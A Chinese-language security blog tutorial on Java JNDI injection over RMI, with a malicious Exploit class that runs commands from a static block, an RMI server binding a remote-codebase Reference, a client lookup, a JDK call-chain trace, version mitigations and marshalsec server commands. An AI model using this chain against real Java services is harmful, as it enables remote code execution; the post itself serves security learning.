Java篇之JNDI注入

JNDI注入

前面做了做铺垫,这篇文章就来正式进入jndi注入的学习,其实也不算特别难,就是链子有点儿长,得耐心下来

简介

JNDI(Java Naming and Directory Interface),是SUN公司提供的一种标准的Java命名目录接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口

JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等等,其实常用的也就RMILDAP

JNDI中,每个对象都有一组唯一的键值绑定,将每一个对象和名字绑定,使得应用程序可以通过名字搜索到指定的对象,而目录服务是命名服务的自然拓展,这两者的区别就是目录服务中对象不但可以有名称,还可以有属性;命名服务中对象是没有属性的

image.png

攻击流程

那么,为什么会出现漏洞呢?

首先我们来看看RMI,因为RMI注册表服务提供程序(RMI Registry Service Provider)允许应用程序通过JNDI应用接口对RMI中注册的远程对象进行访问,那么假如我们远程绑定一个恶意对象,是不是就可以了?

RMI的核心特点之一就是动态类加载,假如当前Java虚拟机中并没有此类,它可以去远程URL中去下载这个类的class,而这个class文件可以使用web服务的方式进行托管;而rmi注册表上可以动态的加载绑定多个rmi应用;对于客户端而言,服务端返回值也可能是一些子类的对象实例,而客户端并没有这些子类的class文件,如果需要客户端正确调用这些子类中被重写的方法,则同样需要有运行时动态加载额外类的能力。客户端使用了与RMI注册表相同的机制。RMI服务端将URL传递给客户端,客户端通过HTTP请求下载这些类。

就是利用RMI去动态加载类,RMI那里绑定了一个对象,然后通过JNDI去获取这个绑定的对象

但是在JNDI服务中,RMI服务端除了直接绑定远程对象以外,还可以通过References类来绑定一个外部的远程对象,这个远程对象是当前名称目录系统之外的对象,绑定了Reference之后,服务端会先通过Referenceable.getReference()获取绑定对象的引用,并且在目录中保存。当客户端在lookup()查找这个远程对象时,客户端会获取相应的object factory,最终通过factory类将reference转换为具体的对象实例。

漏洞复现

首先Exploit.class还是和上一篇文章中的一样,放到WWW根目录下面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit implements ObjectFactory
{

static {
System.err.println("success");
try {
String cmd = "calc.exe";
Runtime.getRuntime().exec(cmd);
Runtime runtime = Runtime.getRuntime();
Process process = runtime.exec("cmd.exe /c dir");
InputStream inputStream = process.getInputStream();
BufferedReader br = new BufferedReader(new InputStreamReader(inputStream, "gb2312"));
while(br.readLine()!=null)
System.out.println(br.readLine());

} catch ( Exception e ) {
e.printStackTrace();
}
}

public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}

在写服务端的代码之前,我们先来介绍一下今天的主角:Reference

javax.naming.Reference类表示对存在于命令或目录系统以外的对象的引用;就是说一个Object对象,可以通过绑定Reference存储在RMILDAP服务下面,在使用Reference时,我们可以直接将对象写在构造方法中,当被调用时,对象的方法就会被触发

看看Reference类的关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class Reference implements Cloneable, java.io.Serializable {
protected String className;
protected Vector<RefAddr> addrs = null;
protected String classFactory = null;
protected String classFactoryLocation = null;
public Reference(String className) {
this.className = className;
addrs = new Vector();
}
public Reference(String className, String factory, String factoryLocation) {
this(className);
classFactory = factory;
classFactoryLocation = factoryLocation;
}
}

其实主要就是三个参数:className、classFactory、classFactoryLocation

  • classname:远程加载时所使用的类的名字,可以随便取
  • classFactoryclass中需要实例化类的名称
  • classFactoryLocation:加载class的远程地址,可以是file/ftp/http等协议

服务端代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;

public class JNDISERVER {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1089);
Reference Exploit = new Reference("evil", "Exploit", "http://127.0.0.1:80/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(Exploit);
registry.bind("evil", refObjWrapper);
}
}

就几行代码,逻辑也很简单,应该也挺好理解,就是将http://127.0.0.1:80/Exploit.class这个类绑定到了127.0.0.1:1089/evil这个名字上了,我们就可以通过rmi来加载它了,客户端代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.util.Properties;

public class JNDICLIENT {
public static void main(String[] args) throws NamingException {
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
Context ctx = new InitialContext(env);
ctx.lookup("rmi://127.0.0.1:1089/evil");
}
}

image.png

这里的流程就是我们用lookup(url)获取远程对象时会获取到一个Reference对象,然后客户首先会去本地的classpath寻找被标识为refClassName的类,如果本地未找到,就会去请求我们所定义的远程地址的refClassName.class,然后就会动态加载class

这里我用的是Java7u21的版本,换成Java8的版本之后就不行了,因为在6u141,7u131,8u121之后,新增了 com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMICORBA协议使用远程codebase选项,虽然该更新阻止了RMICORBA触发漏洞,但是我们仍然可以使用LDAP协议进行攻击,随后在6u211,7u201.8u191中,又新增了 com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase选项

只不过嘛,说是这么说,不过总是有办法可以绕的嘛,后面的文章再来说这个

ldap的复现就看我上一篇文章了哈

调用流程

接下来我们就来看看它的调用流程,也就是漏洞的原理,调用链很长,大家做好心理准备哈哈,我还是建议大家也下个断点来自己调试哈

首先进入到InitialContext类中的lookup方法:

1
2
3
4
5
public Object lookup(String name) throws NamingException {
//getURLOrDefaultInitCtx函数会分析name的协议头返回对应协议的环境对象,此处返回Context对象的子类rmiURLContext对象
//然后在对应协议中去lookup搜索,我们进入lookup函数
return getURLOrDefaultInitCtx(name).lookup(name);
}

getURLOrDefaultInitctx获取到了一个rmiURLContext,所以说进入到GenericURLContext类中的lookup方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public Object lookup(String var1) throws NamingException {
//此处this为rmiURLContext类调用对应类的getRootURLContext类为解析RMI地址
//不同协议调用这个函数,根据之前getURLOrDefaultInitCtx(name)返回对象的类型不同,执行不同的getRootURLContext
//进入不同的协议路线
ResolveResult var2 = this.getRootURLContext(var1, this.myEnv);//获取RMI注册中心相关数据
Context var3 = (Context)var2.getResolvedObj();//获取注册中心对象

Object var4;
try {
var4 = var3.lookup(var2.getRemainingName());//去注册中心调用lookup查找,我们进入此处,传入name-evil
} finally {
var3.close();
}

return var4;
}

这里的var3是一个注册中心RegistryContext对象,所以说它会进入到RegistryContext类中的lookup方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public Object lookup(Name var1) throws NamingException {
if (var1.isEmpty()) {
return new RegistryContext(this);
} else {//判断来到这里
Remote var2;
try {
var2 = this.registry.lookup(var1.get(0));//RMI客户端与注册中心通讯,返回RMI服务IP,地址等信息
} catch (NotBoundException var4) {
throw new NameNotFoundException(var1.get(0));
} catch (RemoteException var5) {
throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
}

return this.decodeObject(var2, var1.getPrefix(1));//我们进入此处
}
}

这里会返回ip、端口等信息,继续走,进入到decodeObject方法里面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
private Object decodeObject(Remote var1, Name var2) throws NamingException {
try {
//注意到上面的服务端代码,我们在RMI服务端绑定的是一个Reference对象,世界线在这里变动
//如果是Reference对象会,进入var.getReference(),与RMI服务器进行一次连接,获取到远程class文件地址。
//如果是普通RMI对象服务,这里不会进行连接,只有在正式远程函数调用的时候才会连接RMI服务。
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
//获取reference对象进入此处
} catch (NamingException var5) {
throw var5;
} catch (RemoteException var6) {
throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
} catch (Exception var7) {
NamingException var4 = new NamingException();
var4.setRootCause(var7);
throw var4;
}
}
}

继续跟进,进入到NamingManager类中的getObjectInstance方法中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public static Object getObjectInstance(Object refInfo, Name name, Context nameCtx,Hashtable<?,?> environment)
throws Exception
{
// Use builder if installed
...
// Use reference if possible
Reference ref = null;
if (refInfo instanceof Reference) {//满足
ref = (Reference) refInfo;//复制
} else if (refInfo instanceof Referenceable) {//不进入
ref = ((Referenceable)(refInfo)).getReference();
}

Object answer;

if (ref != null) {//进入此处
String f = ref.getFactoryClassName();//函数名 ExecTest
if (f != null) {
//任意命令执行点1(构造函数、静态代码),进入此处
factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
//任意命令执行点2(覆写getObjectInstance),
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
return refInfo;

} else {
// if reference has no factory, check for addresses
// containing URLs

answer = processURLAddrs(ref, name, nameCtx, environment);
if (answer != null) {
return answer;
}
}
}

继续跟进getObjectFactoryFromReference方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
static ObjectFactory getObjectFactoryFromReference(Reference ref, String factoryName)
throws IllegalAccessException,InstantiationException,MalformedURLException
{
Class clas = null;

//尝试从本地获取该class
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
//如果不在本地classpath,从cosebase中获取class
String codebase;
if (clas == null && (codebase = ref.getFactoryClassLocation()) != null) {
//此处codebase是我们在恶意RMI服务端中定义的http://127.0.0.1:80/
try {
//从我们放置恶意class文件的web服务器中获取class文件
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}
//实例化我们的恶意class文件
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

就在这里实例化了,实例化会默认调用构造方法,以及静态代码块,就在这里实现了任意代码执行

工具使用

上一篇文章我们讲过的marshalsec工具不仅可以起一个ldap服务器,同样也可以起一个rmi服务器,语法如下:

1
2
rmi:  java -cp mar*.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:80/\#Exploit 1089
ldap: java -cp mar*.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:80/\#Exploit 1089

所以说咱复现的时候其实用工具起服务器会更加方便一点儿

参考文章:

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2022 Arsene.Tang
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信